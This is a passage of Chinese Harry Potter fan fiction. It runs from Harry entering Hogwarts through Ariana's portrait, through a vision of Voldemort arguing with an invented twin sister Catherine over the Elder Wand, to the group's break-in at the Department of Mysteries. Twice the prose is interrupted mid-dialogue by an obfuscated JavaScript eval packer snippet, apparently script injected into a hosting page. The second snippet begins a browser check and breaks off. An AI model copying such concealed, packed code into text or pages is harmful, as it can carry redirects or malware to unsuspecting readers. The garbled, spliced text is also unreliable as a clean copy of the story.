“两兄弟恢复了关系,是一种更加坦诚的信任……” 阿不福思坐在椅子里没动,用那双像极了他哥哥的眼睛凝视着哈利。然后,他绕过了哈利的这个问题。 “哈利,我会送你进霍格沃茨。也许我们剩下的时间都不多了,你必须找到你的同伴们,组织起大家,一起准备最后的战斗。” “可是——怎么——”哈利也站了起来。 阿不福思清了清嗓子,站了起来,绕过小桌子走到阿莉安娜的画像跟前。 她笑了笑,转身走开了。她并不是想一般画像里的人那样从一侧走出画框,而是沿着身后像是画出来的一条长长的通道。他们看着她的身影一点点变小,最后消失在黑暗之中。 “呃……怎么……”罗恩打破沉寂。 “现在只有一个办法能进去。”阿不福思说,“但你们应该知道,他们守住了所有秘密通道的出入口,墙外到处都是摄魂怪,据我得到的消息,学校里面还有日常的巡逻。那儿从来没被这么严密地把手过。斯内普负责里头的一切,还有卡罗和乌姆里奇在身侧。怎么做?自然是逐个击破。” “但是怎么……”赫敏对着阿莉安娜的画像皱着眉头问道。 很快他们都明白了过来。 一个小白点又出现在了画中通道的尽头,阿莉安娜一步一步走向他们,看起来变得越来越大。但这次她领着另外一个人。这个人个头比她高,看起来很兴奋的样子。着他们越走越近,身影越来越大,模样也渐渐显现出来,直到画框里只剩下他们的头像。 随后,整幅画像一扇小门一样打开了,门后露出了一条真正的密道的入口。而眼前爬出来的这个人竟是真正的纳威·隆巴顿!他高兴得大叫了一声,跳下壁炉架,大声说: “哈利!我就知道你会来的!” “纳威—这——怎么会?” 但是纳威认出了罗恩与赫敏,高兴的叫出了声,紧紧的拥抱了他们。然后他转过来对阿不福思说,“阿不,估计还有几个人正在过来的路上呢。” “还有几个人?”阿不福思重复着,好像有种不祥的意思,“什么叫还有几个人啊,隆巴顿?整个村子可是有宵禁令和监视咒的!” “我知道,所以他们会直接幻影显形到酒吧里。”纳威说道,“等他们到了记得让他们通过,好吧?谢谢了哦!” 纳威把他的手伸给赫敏,帮助她爬上壁炉架,进入地道;罗恩紧跟着她,然后是纳威。哈利转向阿不福思。 “我真不知道怎么感谢你,你两次救了我们的命。” “那就照顾好他们,”阿不福思粗声粗气地说。“第三次我就不一定能够再救他们了。” 哈利爬上壁炉架然后穿过阿莉安娜肖像后面的洞。洞的另一边有光滑的石梯:看起来这条通道好像已经有些年头了。黄铜的壁灯悬挂在墙上,土状的地面由于摩擦而变得光滑;他们行进时影子在墙上交织成坼裂的扇形。 “这东西在这有多久了?”在他们出发时罗恩问道。“这可不在活点地图上,是吧哈利?我还以为只有七个人从这里进出过学校呢。” “他们在学期初时把这些全都封起来了,”纳威说。“这里再也不可能通过了,尤其是在入口处有咒语,出口处有食死徒和摄魂怪的情况下。”他开始向后退,好像并不在意这些的样子。“别管这些东西……那是真的吗?你们去了戈德里克山谷,纳吉尼被杀死了!” “呵呵,那是真的。”哈利说,但他并不是很开心。 纳威和罗恩还在兴高采烈地笑着,但他开始觉得自己额头上的疤又开始火辣辣地疼痛起来。 “哈利!” “哈利!?” 他能听见其他人的声音,但是他整个人已经倒了下来。 …… …… 他现在是伏地魔。 他能察觉到他的愤怒。非常愤怒。 这让他感觉自己的头疼得快炸开了。然后视线又变得清晰起来,他感受到伏地魔的愤怒在见到眼前的人的时候达到了另一个巅峰。 “凯瑟琳!看看你干的好事!他杀了我的蛇!凯瑟琳!你哥哥的灵魂被放在那里面!现在好了,没了、毁了——” 他在愤怒地说。 凯瑟琳短暂地将隐形衣脱下来,她手中握着一根熟悉的银白色魔杖——他认出那是伏地魔的魔杖——很显然,伏地魔也认了出来。 “把魔杖还给我。”他朝她伸出瘦长苍白的手,用教训弟弟妹妹时用的严厉的语气说道。 “不还。”凯瑟琳同样坚定说道。 “你故意这么做的是不是?凯瑟琳?” 他用接骨木魔杖指向她。 “你要杀了我吗?”凯瑟琳问。她的话语是那样破碎,眼眶有些发红。 他察觉到他的愤怒有一些消减,呼吸有些急促,似乎是在思考应该从哪件事开始责问。 “好,我们就来好好谈谈。”他把左手上拿着的格林德沃的照片扔到地上,然后往凯瑟琳方向走了几步(顺便从照片上踩了过去)。 “我们没什么好谈的。”凯瑟琳依旧和他的眼睛对视着,一只手攥着隐形衣,一只手握着她哥哥的魔杖。 “不,你有事情瞒着我。凯瑟琳。”他说道。 “邓布利多用魔法石复活了你,所以你选择跟着他干。要不是他在摧毁马沃罗戒指的时候中了我的恶咒,我想他不会死那么快……两败俱伤,就算他拿走复活石也没用,还赔上自己的老命——现在,让我问问你:当我拷问德拉科杀死邓布利多当天的细节的时候,他谈到了有求必应屋的拉文克劳的冠冕。他说当时你和哈利都在找它,后来,王冠被你拿走了。告诉我,王冠去哪里了?” “被我扔进克拉布的魔鬼火焰里了。”凯瑟琳说道,她直接地说,甚至语气里带着挑衅,“我和哈利知道那是你的魂器,我们去有求必应屋就是为了找它……想不到吧?你亲自教导的食死徒都是那样蠢笨,它们只会施展火焰,却不知道如何灭火。” 凯瑟琳轻蔑地说道,她比面前的男人矮很多,说话时不得不抬头看他,但是却一点都不胆怯。 有什么可害怕的呢?在她看来,面前的人只是从出生起就和她在一起的人,而且,她知道自己所做的事并没有真正伤害他。 他感到他的怒气又升腾了起来。他被她看他的眼神刺伤了,她对他是那样不屑,学生时代她对他崇拜的眼神已经荡然无存。那个跟在他屁股后求保护的妹妹似乎死在了默默然的那场战斗中。 “好,很好。”这句话是从他的牙缝里挤出来的。然后他又继续问,“我的仆人我自由办法惩罚他们,这个不需要你管。让我问你——如果你要帮助哈利,听命于邓布利多,为什么要杀死他?马尔福家里有人来求过你?他们为什么不告诉我你的行踪?” 他举起他的接骨木魔杖,想要对凯瑟琳使用摄神取念,但最后还是没有那么做。他坚信他一眼就能看出他妹妹有没有撒谎,他坚信自己知道一切。 “没有人来找过我,”凯瑟琳的黑眼睛里没有一点光,只有一点红色,也许是映照着她哥哥的眼睛留下的。“是我想这么做。” “我恨邓布利多让我进入霍格沃茨的决定——尽管那也是我曾经自己要求的——自食苦果罢了。他让我知道无论是在孤儿院还是在霍格沃茨,让我意识到无论在哪里,我都注定是一个异类、注定走向变成默然者、注定薄命的事实。” 他的怒气似乎被什么冰冻住了,然后被迅速地浇灭,一颗心沉入了谷底。那些晦暗的回忆,当她的哥哥在学校里风生水起、呼风唤雨的时候,她永远是不受待见的异类,他或许把霍格沃茨当成自己的家,而她却并没有这样的归属感。 一对兄妹在学校中,总是只有一方站在阳光下,无论是阿不思、阿不福思,西里斯、雷古勒斯,还是莉莉、佩妮。总有一个人更强、更美好,而另外一个人则是被用来对比和衬托的对象。 “我想要拥有一个属于我的魔杖,”凯瑟琳的嘴角勾起一个讽刺的笑,“可是,从未。甚至无法拿起你的魔杖施展一个咒语——孪生杖!多么神奇的设定!上天安排我们血脉相连,但是现却煮豆燃萁……你选择了你的道路,我也选择了我的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为什么我用过的魔杖在对战你的时候都失效了呢?” 他盯着凯瑟琳苍白但美丽的脸。 “我的紫杉木魔杖在我的要求下可以做任何事情,除了和哈利·波特的那根魔杖对上——而我已经调查清楚,那根冬青木魔杖,就是你曾经偷偷想要买的那根。长老魔杖,命运之杖、死神的手杖。我从它的前任主人那里拿来,但刚才我的索命咒被你的缴械咒轻松挡开了。” “长老魔杖,命运之杖、死神的手杖。我从它的前任主人那里拿来——从阿不思?邓布利多的坟墓里拿来了。” 凯瑟琳紧抿着唇,眼睛依旧没有离开他。 “当我在胜利的边缘时,我再次失败了,损失了纳吉尼,我制作的最后一个魂器。”伏地魔说,声音几乎不比耳语响多少,“我很疑惑,为什么长老魔杖拒绝显示它应该具备的威力,拒绝像传说中的那样为它真正的主人效力……然后我想我找到了答案。” 凯瑟琳没有说话。 “长老魔杖不能完全地为我服务,凯瑟琳,是因为我不是它真正的主人。长老魔杖属于杀死它上一个主人的巫师。你杀了阿不思·邓布利多。而你还活着,长老魔杖就无法真正为我所有。” 他用魔杖对着空气重击了一下。书柜上落满灰尘的书噼噼啪啪掉落下来,成堆地落在凯瑟琳的脚边。 “所以,你认为杀死我,就能掌握长老魔杖的力量?”凯瑟琳问道,似乎对此毫不意外。 “是的。”他说道。“你变得很聪明,凯瑟琳。我们的父亲、母亲、舅舅,所有的亲人,都为我的力量,为我的大业铺上了稳定的路,而你,我最后的血亲,是不是应该为我最终的胜利做出奉献呢?” 他从她深如潭水的眼里看到了面露兴奋和贪婪的表情。尽管他恢复了年轻时英俊的面庞,癫狂的神情却早已和那个少年判若两人。 然后,她眼里的那个男人消失了。凯瑟琳穿上了隐形衣,她也在他眼里消失了。 他的法力本应该让他看穿任何的幻身术,但这次却没有成功。 但是她一定离开了。 现在,他开始不确定那个预言究竟指的是谁——他必须听到完整的预言,找到那个放在魔法部里的预言球,然后再决定杀死两人中的哪一个—— 一定是哈利·波特。 一定不是凯瑟琳。 他盯着巴希达家黑漆漆屋子,凝视着凯瑟琳离开的方向想着。 刚才对她说的话有一半可以算是气话。尽管他必须获得长老魔杖的全部力量,但他会尽量寻找其他的方式,而不是通过……最极端的那种。 他无比厌恶自己在这件事上的犹豫。但是面对特殊的对象,让他不得不谨慎起来…… “哈利!” “哈利!醒醒!” 没错,他是哈利,他不是伏地魔…… 哈利努力辨别着在他耳边的呼唤声,似乎是金妮,或者赫敏。 然后他睁开了眼,发现二者都在,其他的D.A.的成员也都看着他。 “你刚才忽然就晕过去了。”赫敏担忧但关切地说道。 “你还好吗,哈利?”金妮也问道。 “我没事。”他挣扎着从地板上坐起来,额角的伤疤还有些疼,环顾四周,哈利意识到这是在有求必应屋。 “王冠被摧毁了……隐形衣在她手上……还有,伏地魔要去找那个预言球。” 90.chapter88 “我不明白,为什么伏地魔不直接让雷古勒斯把那个预言球交给他……最近我一直梦见走在一个神秘的长廊里面。” 哈利、罗恩和赫敏三人坐在D.A.练习室里,哈利这样说道。 学校已经进入了戒严状态。原本一个乌姆里奇钉在墙上的教育令就够多了,现在又多出来一个令人厌恶的斯内普,按照罗恩的话来说,就是“整个霍格沃茨被他们弄得乌烟瘴气”。伏地魔恢复了他的势力,哈利·波特也成为了头号悬赏对象。 赫敏看着墙角的日历,数着日期。日历显示,哈利他们已经在有求必应屋躲藏了近六个月。 “谁知道呢?阿不福思带来的消息表明他最近都不在英国,可能还在寻找获得长老魔杖全部力量的方法,然后再亲自取走预言球。” “六个月了!”罗恩说道,“我没想到原来躲在这里才是真正的灯下黑。神秘人怎么也想不到我们会躲在这里、积蓄力量——哈利?” 罗恩的话还没说完,哈利忽然就倒在了地上。罗恩和赫敏对视了一眼,知道很有可能是哈利又进入了伏地魔的思想。 …… 他又一次走在那条阴冷、黑暗的神秘事务司走廊上,步子坚定、果断,他终于下决心一定要到达自己的目的地……黑色大门像以往一样为他打开了,他来到那间有许多门的圆形屋子里…… 径直走过黑色的石头地板,穿过第二道门……几块光斑在墙上和地板上舞动着,还有奇怪的机器的滴答声,但是没时间看个究竟,他必须赶紧…… 他最后慢跑几步来到第三道门前,它也像其他的门一样打开了…… 他又一次置身于大小如同大教堂,摆满架子和玻璃球的屋子里……现在他的心跳得非常快……他这次就要到达那里了……他走到第97排架子时向左一转,顺着两排架子之间狭长的过道急匆匆地走去…… 可是在过道尽头的地板上有个身影,一个正在地板上挪动的身影,好像是一头受了伤的动物……还有一个站着的身影,但他似乎有些站立不稳。 哈利的胃害怕得收紧了……兴奋得收紧了…… 他自己的嘴巴发出了声音,那是一个冷冰冰的声音,没有善意,压迫感十足…… “你做得很好,雷古勒斯。现在,站到一边去。” 那个脸色苍白的男人退到了房间的阴影里。 “西里斯,为我拿到它……把它拿下来,快……我不能碰它……但是你可以……” 地板上的黑色身影稍微动了动。哈利看到一只手指又长又白的手紧紧抓住一根魔杖,在自己的胳膊末端举了起来……听到那个严厉的、冷冰冰的声音说:“钻心剜骨!” 地板上的男人疼得尖叫起来,他想站起身,但是扭动着身体摔倒了。哈利在笑。他扬起自己的魔杖,咒语停止了,那个身影呻/吟着不再动弹。 “我会等……” 地上的男人双臂在颤抖,他非常缓慢地将肩膀撑起几英寸,抬起了脑袋。他的脸染着血迹,很憔悴,疼得扭曲着,可还是带着刚毅不屈的神色。 “不,你杀了我。”西里斯说。 “毫无疑问,我最后会这么做的。”那个冷酷无情的声音说,“但是你首先要把它拿来交给我,西里斯·布莱克……你认为自己感受到的疼痛就这么多吗?再想想……我们接下来还有几个小时,没人能听到你的尖叫。你亲爱的弟弟,他很乐意看你去死。” 但是当伏地魔放下自己的魔杖时,他听见了有人在呼唤他—— ——哈利被惊醒了,他的伤疤火辣辣的,像是经历了一个长跑,浑身都是冷汗。罗恩和赫敏关切地等待他醒来。 不等他们发问,哈利就主动说了。 “伏地魔抓住了西里斯。” “什么?” “你怎么——?” “我看到了。就在刚才。我忽然倒在了地上。” “可是——可是在什么地方?怎么抓住的?”赫敏问,她脸色苍白。 “我不知道是怎么抓住的,”哈利说,“但是我很清楚在哪里——神秘事务司——上学期斯内普教我大脑封闭术的时候我明白的。神秘事务司里有一间摆满架子的屋子,架子上全是玻璃球,他们就在第97排架子的尽头……他自己拿不了预言球,他想利用西里斯拿到这东西……他在折磨西里斯……他说他最后会杀死西里斯!” 哈利发觉自己的声音在颤抖,膝盖也是一样。他挪到垫子旁坐了上去,想让自己镇定下来,然后又把雷古勒斯也在那里的事说了出来。 “我们怎么到那儿去?”他向他们。 大家沉默了一会。接着罗恩问道。“去——去哪儿?” “去神秘事务司,去救西里斯!”哈利响亮地说。 “但是——哈利……”罗恩虚弱地说。 “什么?什么?”哈利说。 他不明白,他们为什么都目瞪口呆地瞪着他,好像他在要求他们去做什么荒唐事一样。 “哈利,”赫敏十分胆怯地说,“哦……怎么……伏地魔进入了魔法部,怎么会没有人发觉呢?” “我怎么知道?”哈利大声吼道,“问题是我们怎么进去!” “可是……哈利,好好想一想,”赫敏说着朝他迈了一步,“现在是下午五点钟……魔法部里肯定到处是工作人员……怎么可能没人看到伏地魔和西里斯进去呢?哈利……伏地魔是头号被通缉的巫师……你觉得他们能进入一座满是傲罗的建筑而不被发现吗?” “我不知道,也许伏地魔施展了什么黑魔法!”哈利喊道,“不管怎样,每次我去神秘事务司,总是一个人也没有——” “你从来没去过那里,哈利,”赫敏轻轻地说,“你是梦见了那个地方,不过如此。” “那些不是普通的梦!”哈利一边冲着她大喊一边站起来也朝她走近了一步,想抓住她摇晃几下,“还有凯瑟琳,还有其他一切的梦!” “他说到点子上了。”罗恩看着赫敏轻轻地说。 “但这真是——真是太不可能了!”赫敏急得没办法地说,“哈利,西里斯始终在格里莫广场,伏地魔怎么可能抓住他呢?” “”好长时间以来他一直很想离开那座房子。”罗恩说,“而且,很有可能是雷古勒斯和他说了什么,别忘了,他现在可是魔法部部长,又是食死徒——虽说他是间谍,但他就万分可靠吗?伏地魔在他的帮助下,肯定能够在魔法部长驱直入。” “但是为什么,”赫敏坚持说,“伏地魔不让雷古勒斯帮他拿预言球,而是要西里斯?” “我不知道,可能有许多理由!”哈利对她大喊,“也许是因为伏地魔不在乎西里斯的死活,但雷古勒斯是一条有用的狗——” “不好意思,”赫敏喊道,“但是哈利,你说得没道理,我们根本没有证据证明这些事,甚至不能证明伏地魔和西里斯是不是在那个地方——” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不明白!”哈利朝她喊道,“我不是在做噩梦,我不只是做梦!你认为学习大脑封闭术都是为了什么,你认为邓布利多为什么不想让我看到这些事情?因为它们是真的,赫敏——西里斯确实被抓住了,我看到他了!伏地魔抓住了他,雷古勒斯将协助他杀了他的亲哥哥!那就意味着,现在,我们,是唯一能救他的人,如果你不想这么做,那没问题,但我要去,明白吗?而且要是我没记错的话,在我从摄魂怪那里救出的人是你自己的时候,你并没有觉得我太喜欢救人,还有——”他朝罗恩转过身,“还有三强争霸赛——” “我从来没说过你太喜欢救人!”罗恩激动地说。 “可是哈利,你刚才说了,”赫敏激烈地说,“邓布利多希望你能学会不让这些事情进入你的大脑,要是你正确地运用了大脑封闭术,你就绝不会看到这——” “邓布利多已经死了!他的话管不了现在的我!如果你认为我会装出没看到——” “西里斯告诉过你,没有什么事情比学习封闭你的大脑更重要了!” “好,我猜他会说些不一样的话,如果他知道我刚才——” 有求必应屋的门被打开了。哈利、罗恩和赫敏猛地转过身,其他的D.A.成员回来了。 在大家最终一致同意前往营救西里斯的时候,有求必应屋的门再次被打开,乌姆里奇,带着其他几名老师闯了进来。 “原来你们在这!” 91.chapter89 将乌姆里奇丢在禁林里之后,哈利一行人急匆匆地乘坐夜骐前往魔法部。 “过来。”哈利轻轻地说,六个人在大厅里全速跑着,他在最前面经过喷泉朝安检台跑去,那里曾坐着一个给哈利的魔杖称重的巫师看守,可现在那里空无一人。 哈利认为这里是应该有保安人员的,并相信没有人把门是个不祥的兆头。当他们穿过黄金大门走向升降梯时,他的这种不祥预感更加强烈了。他按下最近处的一个“向下”按钮,升降梯几乎立刻咔哒一下出现在眼前,金色的栅栏从中间滑到两边,发出震耳的、回荡的铿锵声,他们冲了进去。哈利戳了一下九号按钮,栅栏砰的一声关上了。升降梯发出咔哒咔哒的响声,很是刺耳,哈利在那天白天随韦斯莱先生来这里时并没有注意到它这么吵。他相信这样的噪音一定能引起建筑物里每一个保安人员的注意。然而当升降梯停下来时,那个冷漠的女人的声音说道:“神秘事务司。”栅栏打开了,他们走出来进入走廊,这里除了最近处的火把在升降梯搅起的气流中摇曳闪烁之外,什么动静也没有。 哈利转向那扇朴素的黑门。好几个月以来,他一直只是在梦中看到它,现在他终于来到这里了。 “我们走。”他小声说,领着大家顺着走廊向前走去,卢娜跟在他身后,微微张开嘴巴,四下打量着。 “好了,大家听着,”哈利说,在离黑门不到六英尺的地方停了下来,“也许应该留几个人在这里——望风,还有——” “可要是有什么情况,我们怎样才能通知你呢?”金妮扬起眉毛问道,“你可能会在很远的地方?” “我们都跟你去,哈利。”纳威说。 “我们接着走吧。”罗恩坚定地说。 哈利还是不愿意把他们几个都带在身边,可是看起来他别无选择。他转身对着黑门,走过去……正如在梦中一样,它打开了。他迈过门槛,其他人紧随其后。 他们正站在一间巨大的圆形屋子里。这里所有的东西,包括天花板和地板全部都是黑色的;一些一模一样、没有标记、也没有把手的黑色房门彼此隔开一些距离嵌在四周黑色的墙壁上,一些冒着蓝色火苗的蜡烛点缀在墙上,冷冷的、闪烁着的微弱烛光倒映在光亮的大理石地板上,使地板看上去像是有一汪黑水似的。 “请谁把门关上。”哈利嘟囔了一声。 当纳威照他的话办了以后,他真后悔下了这个指令。没有了从身后走廊倾泻进来的那道狭长的光束,这个地方变得暗了,以至于在一段时间里他们只能看见墙上摇曳着的蓝色烛火以及它们在地板上映出的可怕倒影。 在哈利的梦里,他始终都是毫不犹豫地走过这间屋子,径直来到正对入口的那扇门前,然后又继续向前走去。可是现在周围有十二扇门。正当他凝视着面前的几扇门,想判定应该进哪一扇时,随着一声轰隆隆的巨响,蜡烛开始向一侧移动。圆形的墙壁旋转起来。 赫敏抓着哈利的胳膊,好像担心地板也会动起来似的,但是地板没有动。几秒钟后,他们周围的蓝色火苗随着墙壁的快速旋转模糊成一道道相似的光环。接着,正如开始时一样的突然,隆隆声消失了,一切又恢复了平静。 哈利的眼睛里闪烁着一道道蓝光;除此以外他什么也看不见。 “这是要干什么?”罗恩担心地小声问。 “我猜这是让我们搞不清是从哪个门进来的。”金妮压低了嗓门回答。 哈利马上意识到她说对了:现在让他辨认出口在哪里,比在漆黑的地板上找出一只黑蚂蚁还难;在周围的十二扇门里,任何一扇门都有可能是他们需要穿过的那一扇。 “我们该怎么出去啊?”纳威不安地问。 “现在这个问题不重要,”哈利激动地说,一边眨着眼睛竭力消除眼里的蓝色线条,手里的魔杖抓得更紧了,“在没有找到西里斯之前,我们不需要出去——” “可千万别大声喊他的名字!”赫敏赶忙说;其实用不着她提醒,哈利凭直觉就明白应该尽量保持安静。 “我们该往哪儿走呢,哈利?”罗恩问。 “我不——”哈利刚一开口,又咽了回去,“在那些梦里,我下了升降梯,走进走廊尽头的一扇门,来到一间漆黑的屋子里——这就是那一间——接着我又穿过一扇门,进入一间有些……闪闪发光的屋子。我们应该试试几扇门,”他匆匆地说,“见到那个屋子,我就知道该怎么走了。来吧。” 他径直走向正对着自己的那扇门,其他人紧跟在后面。他把左手放在冰凉、光亮的门上,举起魔杖,准备在门打开的那一刻冲过去,然后他推了推。这扇门轻轻松松地打开了。 吊灯低悬在金色链子上自天花板上垂下来,经历过第一间屋子的黑暗后,这间方形的屋子显得非常明亮,尽管没有哈利在梦中见到的朦胧、闪烁的微光。屋子里几乎是空荡荡的,只有一张桌子,另外在屋子的正中央有一个巨大的盛着墨绿色液体的玻璃水箱,大得足够让他们在里面游泳;许多白色的东西正慢悠悠地在里面漂来漂去。 “这是什么东西?”罗恩低声说。 “不知道。”哈利说。 “是鱼吗?”金妮轻轻地问。 “阿卡危蛆!”卢娜兴奋地说,“爸爸说魔法部里养着——” “不对。”赫敏说。她的语气有些古怪。她走到跟前,隔着容器往里看。“是脑子。” “脑子?” “是的……他们为什么养这种东西?” 哈利来到她旁边站在水箱前。千真万确,他离得这么近,是不会看错的。它们在绿色液体的深处时隐时现,阴森地闪着光,像是黏糊糊的花椰菜一样的东西。 “大家离开这儿。”哈利说,“这间不是,我们再试一下另一扇门。” “这里也有很多门。”罗恩一边说一边指着四周的墙壁。哈利的心一沉;这个地方到底有多大呀? “在我的梦里,我是穿过那间黑色的屋子就进入了第二间。”他说,“我想我们应该回去,从那里再试。” 他们快速回到那间黑暗的圆形屋子;那些可怕的大脑的影像取代了蓝色的烛光,在他的眼前游来游去。 “等一下!”正当卢娜准备关上身后装大脑的屋门时,赫敏尖声叫道,“标记显现!” 她用自己的魔杖在半空中画了一下,一个火红的“X”出现在门上。当这扇门咔哒一声在他们背后关上的时候,震耳的隆隆声立刻响了起来,墙壁又开始飞快地旋转。但是在微弱的蓝光中,有一团巨大、模糊的金红色,当一切再一次静止不动时,那个火红的X还在燃烧,表明这扇门他们已经进去过了。 “好主意,”哈利说,“现在,我们再试一下这一扇——” 他还是径直大步走到面前的那一扇门,举着魔杖将门推开,其他人依旧跟在后面。 这一间比刚才的那一间大一些,光线昏暗,呈方形,中心凹陷,形成一个巨大的石坑,大约有二十英尺深。石头台阶环绕着整个屋子,如同石凳,一级一级逐渐下降,每一级都很陡峭,就像是阶梯教室,或是哈利曾被威森加摩审问过的审判室,他们所站的位置处于最高一级台阶上。但石坑的中心没有放着带铁链的椅子,取而代之的是一个凸起的石台,它的上面立着一个拱门,看上去很古老,破烂不堪,哈利奇怪它居然还能立在那里不倒下来。拱门四周没有任何墙壁支撑,一幅破破烂烂的黑色窗帘抑或是帷幔挂在上面,尽管这里的空气冷冷的,没有一丝风,可它却在轻轻地摆动,仿佛是刚刚被人触摸过。 “谁在那儿?”哈利说,跳到下一级的石凳上。可是没有人应声,但那个帷幔仍在飘摆。 “小心!”赫敏压低了声音说。 哈利快速逐层爬下石凳来到石坑最底部,然后慢慢走向石台,脚步声在屋子里回荡,这个尖顶的拱门现在看上去要比从上面俯视它时高得多。帷幔还在轻轻摆动,像是有人刚刚穿过它。 “西里斯?”哈利又叫了声,由于离得很近,他的声音放得很轻。他有一种十分古怪的感觉,一定有人正站在帷幔的后面,或者是拱门的另一侧。他紧紧搽着魔杖,小心翼翼地绕到台子后面,但是什么人也没有;从这里只能看到破烂的黑色帷幔的另一面。 “我们走吧,”赫敏下到石阶中间喊道,“这间也不是,哈利,快点儿,我们走吧。” 听起来她很害怕,比在那间放着游泳大脑的屋子里时还害怕,然而哈利觉得,这扇拱门尽管已经很古老,但却有一种独特的美。那轻轻飘动的帷幔引起了他的兴趣;他有种强烈的欲望,想爬上石台穿过它。 “哈利,快点走,好不好?”赫敏的语气更急了。 “这就来。”他说,但是没有动弹。他刚刚听到什么,一阵微弱的窃窃私语声和嘀咕声从帷幔的后面传了过来。 “你们在说什么?”他很响亮地问道,他的话在石凳间回荡着。 “没有人在说话,哈利!”赫敏说着向他走过来。 “有人在后面小声说话。”他说着挪了挪,躲开了赫敏,依然皱着眉头盯着那幅帷幔,“是你吗,罗恩?” “我在这儿,哥们儿。”罗恩说着从拱门的另一边绕了出来。 “你们都听不到这个声音吗?”哈利迫切地问道,因为那个窃窃私语声和嘀咕声越来越响了;他下意识地发现自己的脚站在了石台上。 “我也听得到,”卢娜小声说着也来到拱门这一边和他们站在一起,她注视着拂动的帷幔,“那里面有人!” “你是什么意思,‘那里面’?”赫敏怒气冲冲地问道,一边从最底的台阶上跳了下来,不知哪里来了那么大火气,“‘那里面’什么东西也没有,它只是一扇拱门,没有可让人待的地方,哈利,别再这样了,快点儿离开这里——” 赫敏抓起他的胳膊向外拉,但他就是不听。 “哈利,我们到这里来是为了救西里斯!”她扯着嗓子高声说。 “西里斯,”哈利重复了一遍,依然神情恍惚、眼睛直勾勾地盯着不停拂动的帷幔,“唉呀……” 他终于回过神来;西里斯被抓了,被捆绑着受尽折磨,而自己却在这里盯着拱门…… 他后退几步离开了石台,视线猛地从帷幔上移开了。 “我们走。”他说。 “我一直在要求——很好,走吧!”赫敏说着绕过石台往回走。在石台的另一侧,金妮和纳威也在出神地凝视着那幅帷幔,显然被迷住了。赫敏与罗恩什么也没说,赫敏抓住金妮的胳膊,罗恩抓住纳威的胳膊,坚决地大步走到最底层的石凳,一路攀爬着回到这个房间的入口。 “你觉得那个拱门是什么东西?”当他们重新回到黑色圆形房间的时候,哈利问赫敏。 “我不知道,但不管是什么,它肯定是很危险的。”赫敏肯定地说着,又在这扇门上画了一个X。 墙壁再一次飞转,然后停下来。哈利胡乱挑了一扇门走过去推了一下,门没动。 “怎么了?”赫敏问。 “它……被锁上了……”哈利一边说一边用整个身体撞过去,门还是没动。 “看来,就是它了,对不对?”罗恩兴奋地说,与哈利一起用力试图把门撞开,“肯定就是它了。” “让开!”赫敏尖声说。她用魔杖对准应该是门锁的位置,口里念着:“阿拉霍洞开!” 可门还是老样子。 “西里斯的小刀!”哈利说。他从自己的袍子里掏出刀子,从门与墙之间的门缝中插了进去。其他人急切地注视着他用刀子从顶端划到了最底部,然后他抽出刀子,用肩膀又撞了一下。门还是像刚才那样关得死死的。不但如此,当哈利低头一看时,发现刀刃已经熔化了。 “这样看来,我们不要再理这间屋子了。”赫敏果断地说。 “但是,万一就是这一间该怎么办?”罗恩说着,既担忧又憧憬地望着这扇门。 “不可能,哈利在他的梦里可以穿过所有的门。”赫敏说着在门上又做了个X,与此同时,哈利把已经报废的西里斯的小刀刀柄放回了口袋。 “你们觉得那里面可能有什么呢?”卢娜热切地问道,这时候墙壁又开始转动了。 “唠唠叨叨,毫无疑问。”赫敏小声回答,纳威紧张地轻轻笑了笑。墙壁渐渐停了下来,哈利有些绝望地推开了旁边的一扇门。 “就是这儿!” 当他看到美丽的、钻石般闪烁的跳跃光芒时,立刻就认出正是这一间屋子。他的眼睛逐渐适应了这里灿烂夺目的光芒之后,才看清楚许许多多的钟表的表盘在闪着微光。它们大小不一,有落地大座钟也有旅行钟,或是悬挂在书架之间,或是立在有整个屋子那么长的桌子上。正因为如此,一种急促的永无休止的嘀答声充满了整个屋子,像是成千上万细微的脚步声。那道钻石般明亮的跳跃光芒来自房间尽头一个高高耸立着的钟形水晶玻璃罩。 “这边走!” 一旦知道他们走的路线是正确的,哈利的心就猛烈地跳动起来。他走在前面,顺着桌子之间狭窄的空隙走向光源,就像他在梦里所做的一样。这个钟形的水晶玻璃罩有哈利那么高,立在一张桌子上,看上去里面充满了一股翻腾着的、闪闪发光的气流。 “噢,看呀!”当他们走近时,金妮指着钟形玻璃罩的中心说。 在闪烁的光线中,飘浮着一个小小的像宝石一般明亮的蛋。当它在玻璃罩里升起来的时候,啪的一下裂开了,一只蜂鸟冒出来,径直升到玻璃罩的最顶部,但随着气流的下落,小鸟的羽毛被再次弄脏、淋湿,直到降落到玻璃罩的最底部,被再次关进蛋里。 “继续走,别停下!”哈利厉声说,因为金妮好像很想停下来观察蛋变成鸟的过程。 “你倒是在老拱门那儿待够了!”她顶了一句,但还是跟在他的后面,经过钟形水晶玻璃罩走向它后面仅有的一扇门。 “就是这儿。”哈利又说了一遍。他心跳得厉害,他想一定是心跳影响了他的语言表达,“它是穿过这里——” 他环视了一眼其他人,他们都已经拿出了魔杖,顷刻间显得既严肃又迫切。他又回过头来盯着门。他推了一下,门开了。 他们来到了里面,他们终于找到了这个地方。这里像教堂一样高,里面排满高耸的架子,上面摆满灰扑扑的小玻璃球,除此之外什么也没有。更多的烛台隔着一定的间隔嵌在架子上,暗淡的光线从上面射出来,同那间黑色圆形屋子里的一样,火苗是蓝色的。那些小玻璃球在这些光线中隐隐发光。房子里面很冷。 哈利慢慢走向前,低头审视了一眼两排架子之间的一条阴暗的过道,他听不到一丝声音,也感觉不到动静,哪怕是最微小的动静。 “你说过是第97排。”赫敏在他旁边悄悄地说。 “是的。”哈利轻声回应,抬头朝最近一排的尽头望去。蜡烛发出蓝色的火苗,支架下面闪烁着银色的数字53。 “我想,我们应该向右走。”赫敏小声说,斜眼朝旁边的那一排瞥了一下,“对了……这是54……” “大家都把魔杖准备好。”哈利轻声说。 